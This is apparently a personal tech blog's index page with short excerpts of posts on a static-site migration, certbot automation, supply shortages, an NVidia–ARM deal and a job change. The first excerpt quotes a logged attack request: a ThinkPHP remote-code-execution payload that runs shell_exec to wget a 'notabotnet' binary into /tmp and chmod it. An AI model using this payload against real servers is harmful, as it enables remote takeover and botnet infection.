So this appeared in my logs [15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://x.y.z.t/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777…
Amazing that I wrote this March 2o2o. In this, I wrote Side effects of inability to manufacture and ship products are high prices and little inventory … shortages in other words. These are being postulated as starting to show up in market within the next month or two. And again, this…
Here Or https://blog.scalability.org . This is the hugo blog that was basically unusable from a UX point of view. It incorporates the old Wordpress site posts. So everything is there. Minus a post people have been asking me about, so I have to go spelunking through a database.…
Below each post, you will see something that looks like this ... You've got a couple of choices, you can create an account (you will see a sign in link on this section, that will let you create an account), or you can be anonymous. Either way, you can type a…
So ... I had switched over to LetsEncrypt certs a few years ago, and built some automation around certbot for updates. This worked well, when the site was basically a few servers which never changed. Fast forward to this year, in revamping the blog, and incorporating locally hosted comments versus a…
I've not written much in any format outside of Twitter for a while. Much has happened while I was away. NVidia (NVDA) is looking to get government approval to buy ARM. Old news, but worth noting that the deal is big enough to attract government's attention. Sadly that opens the…
This happened about 9 months before writing this post. I've joined a proprietary trading company, working on the HPC side. So far, I've done fleet wide data collection and analysis using Julia and Python pulling from large time series DBs, and creating Jupyter pages, installed a new job scheduler, written…
Yes, I know its been close to a year since I wrote anything. This was in part due to a decision to switch off the old WordPress based blog (PHP+mysql+....) to a static site. My theory was that I didn't need all the cruft ... and bells and whistles of…